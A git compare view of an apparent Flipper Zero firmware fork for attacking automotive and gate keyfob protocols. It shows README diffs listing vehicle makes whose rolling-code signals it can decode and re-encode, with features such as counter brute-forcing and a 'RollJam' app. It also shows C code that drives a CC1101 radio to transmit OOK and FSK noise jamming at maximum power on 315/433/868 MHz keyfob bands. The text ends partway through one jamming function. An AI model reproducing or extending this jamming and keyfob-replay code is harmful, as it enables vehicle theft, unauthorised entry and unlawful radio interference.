Compare commits
46 Commits
dev-f347d5
...
dev-117381
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
117381e5a1 | ||
|
|
702cf5abc8 | ||
|
|
17011180d1 | ||
|
|
d85657b6b3 | ||
|
|
2fd01bb911 | ||
|
|
d23a892a16 | ||
|
|
16d06d75fe | ||
|
|
937a2204c1 | ||
|
|
aaf16ec0de | ||
|
|
cdd7c56b69 | ||
|
|
0fd985c67a | ||
|
|
e93606aa87 | ||
|
|
3933a77b72 | ||
|
|
ab665809ce | ||
|
|
56c5670956 | ||
|
|
a5cf675561 | ||
|
|
c6bec5ef4f | ||
|
|
883d387246 | ||
|
|
951f35c356 | ||
|
|
4e05a0e631 | ||
|
|
17d497e21e | ||
|
|
d5b46ffefb | ||
|
|
9d2298114c | ||
|
|
b93a970647 | ||
|
|
c6265ea29b | ||
|
|
8e0a81b89d | ||
|
|
6f39fd4803 | ||
|
|
41d10f9b3d | ||
|
|
1f97aa2e3c | ||
|
|
5b9038173b | ||
|
|
fde0a57595 | ||
|
|
3fb40944e6 | ||
|
|
e61cfa765a | ||
|
|
fd0dd6c324 | ||
|
|
8ff5e3c311 | ||
|
|
4974201851 | ||
|
|
b0b464e3fb | ||
|
|
57226fc902 | ||
|
|
cb9aee6422 | ||
|
|
b720fac88a | ||
|
|
22daa7cfc3 | ||
|
|
1c9fddf076 | ||
|
|
4380d9f156 | ||
|
|
a4da50c191 | ||
|
|
e881d69ab3 | ||
|
|
b041177398 |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
BIN
.arf_pictures/home.png
Normal file
|
After Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
|
Before Width: | Height: | Size: 1.8 KiB After Width: | Height: | Size: 1.8 KiB |
|
Before Width: | Height: | Size: 2.1 KiB After Width: | Height: | Size: 2.1 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
5
.github/CODEOWNERS
vendored
@@ -1,5 +1,2 @@
|
||||
# Default
|
||||
* @xMasterX
|
||||
|
||||
# Assets
|
||||
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
|
||||
* ARF Crew
|
||||
|
||||
66
CHANGELOG.md
@@ -1,66 +0,0 @@
|
||||
## Main changes
|
||||
- Current API: 87.6
|
||||
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
|
||||
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
|
||||
## Other changes
|
||||
* MFKey: Update to v4.1 (by @noproto & @dchristle)
|
||||
<br><br>
|
||||
#### Known NFC post-refactor regressions list:
|
||||
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
|
||||
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
|
||||
|
||||
----
|
||||
|
||||
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
|
||||
|
||||
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
|
||||
|
||||
## Please support development of the project
|
||||
|
||||
| Service | Remark | QR Code | Link/Wallet |
|
||||
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
|
||||
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
|
||||
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
|
||||
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
|
||||
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
|
||||
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
|
||||
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
|
||||
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
|
||||
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
|
||||
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
|
||||
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
|
||||
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
|
||||
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
|
||||
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
|
||||
|
||||
|
||||
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
|
||||
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
|
||||
and all other great people who supported our project and me (xMasterX), thanks to you all!
|
||||
|
||||
|
||||
## **Recommended update option - Web Updater**
|
||||
|
||||
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
|
||||
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
|
||||
`flipper-z` = for Flipper Zero device<br>
|
||||
`f7` = Hardware version - same for all flipper zero devices<br>
|
||||
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
|
||||
`(version)` = Firmware version<br>
|
||||
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|
||||
|-----|:---:|:---:|
|
||||
| ` ` | ✅ | |
|
||||
| `c` | | |
|
||||
| `e` | ✅ | ✅ |
|
||||
|
||||
**To enable RGB Backlight support go into LCD & Notifications settings**
|
||||
|
||||
⚠️RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
|
||||
|
||||
|
||||
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
|
||||
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
|
||||
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`
|
||||
|
||||
|
||||
|
||||
48
README.md
@@ -29,11 +29,11 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
| | |
|
||||
|:---:|:---:|
|
||||
|  |  |
|
||||
|  |  |
|
||||
| Home Screen | Sub-GHz Scanner |
|
||||
|  |  |
|
||||
|  |  |
|
||||
| Keeloq Key Manager | Mod Hopping Config |
|
||||
|  |  |
|
||||
|  |  |
|
||||
| PSA XTEA Decrypt | Counter BruteForce |
|
||||
|
||||
---
|
||||
@@ -45,21 +45,26 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
|
||||
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
|
||||
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
|
||||
| Renault (old models) | Marelli | 433 MHz | AM | No | Yes | No|
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
|
||||
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
|
||||
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
|
||||
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
### Gate / Access Protocols
|
||||
|
||||
@@ -72,16 +77,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Holtek | 433 MHz | AM | Yes | Yes | No |
|
||||
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
|
||||
|
||||
### General Static Protocols
|
||||
### General Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
@@ -101,8 +109,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Roger | 433 MHz | AM | Yes | Yes | No |
|
||||
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
|
||||
| RAW | All | All | Yes | Yes | No |
|
||||
|
||||
---
|
||||
|
||||
@@ -110,9 +116,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
Compact release build:
|
||||
|
||||
To build:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
```
|
||||
To flash:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 flash_usb_full
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
@@ -125,7 +136,7 @@ Flipper-ARF aims to achieve:
|
||||
- Stable encoder/decoder implementations
|
||||
- Modular protocol expansion
|
||||
|
||||
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
|
||||
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
|
||||
|
||||
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
|
||||
|
||||
@@ -133,10 +144,9 @@ Flipper-ARF aims to achieve:
|
||||
|
||||
## To Do / Planned Features
|
||||
|
||||
- [ ] Add Scher Khan & Starline protocols
|
||||
- [ ] Marelli BSI encoder and encryption
|
||||
- [ ] Improve RollJam app
|
||||
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
|
||||
- [ ] Expand and refine as many manufacturer protocols as possible
|
||||
|
||||
---
|
||||
|
||||
@@ -177,7 +187,7 @@ Contributions are welcome if they:
|
||||
> Non-automotive features are considered out-of-scope for now.
|
||||
|
||||
### This code is a mess!
|
||||

|
||||

|
||||
---
|
||||
|
||||
## Citations & References
|
||||
|
||||
@@ -5,11 +5,10 @@
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
|
||||
// 5V OTG power
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO Pins
|
||||
// ============================================================
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Bit-bang SPI
|
||||
// Band calibration
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
uint32_t min_freq;
|
||||
uint32_t max_freq;
|
||||
uint8_t fscal3;
|
||||
uint8_t fscal2;
|
||||
uint8_t fscal1;
|
||||
uint8_t fscal0;
|
||||
} ExtBandCal;
|
||||
|
||||
static const ExtBandCal ext_band_cals[] = {
|
||||
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
|
||||
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
|
||||
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
|
||||
};
|
||||
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
|
||||
|
||||
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
|
||||
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
|
||||
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
|
||||
return &ext_band_cals[i];
|
||||
}
|
||||
return &ext_band_cals[1];
|
||||
}
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
for(int i = 0; i < 16; i++) __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) {
|
||||
furi_hal_gpio_write(pin_cs, false);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
|
||||
static inline void cs_hi(void) {
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
|
||||
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a);
|
||||
spi_byte(v);
|
||||
spi_byte(a); spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0x80);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Helpers
|
||||
// ============================================================
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
@@ -210,13 +205,8 @@ static bool cc_check(void) {
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) {
|
||||
return cc_read_status(CC_MARCSTATE) & 0x1F;
|
||||
}
|
||||
|
||||
static uint8_t cc_txbytes(void) {
|
||||
return cc_read_status(CC_TXBYTES) & 0x7F;
|
||||
}
|
||||
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
|
||||
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
@@ -229,98 +219,14 @@ static void cc_idle(void) {
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
|
||||
// Fixed packet length, 255 bytes per packet
|
||||
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
|
||||
cc_write(CC_PKTCTRL1, 0x00); // No address check
|
||||
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
|
||||
|
||||
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
|
||||
// No sync word - just raw data
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
// Frequency
|
||||
cc_set_freq(freq);
|
||||
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// CRITICAL: LOW data rate to prevent FIFO underflow
|
||||
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
|
||||
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00); // No preamble
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
|
||||
// Auto-return to TX after packet sent
|
||||
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
|
||||
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
|
||||
|
||||
// MAX TX power
|
||||
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
|
||||
|
||||
// PATABLE: ALL entries at max power
|
||||
// Index 0 = 0x00 for OOK "0" (off)
|
||||
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
|
||||
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
// Calibration
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
|
||||
// Test regs
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
// Calibrate
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
// Verify configuration
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm4 = cc_read(CC_MDMCFG4);
|
||||
uint8_t mdm3 = cc_read(CC_MDMCFG3);
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
|
||||
uint8_t plen = cc_read(CC_PKTLEN);
|
||||
uint8_t pa0 = cc_read(CC_PATABLE);
|
||||
|
||||
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
|
||||
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
|
||||
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// FSK jam configuration (FM238 / FM476)
|
||||
// Same low-rate FIFO approach but 2-FSK modulation
|
||||
// ============================================================
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
|
||||
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
|
||||
// FSK: constant PA, no OOK shaping
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x30);
|
||||
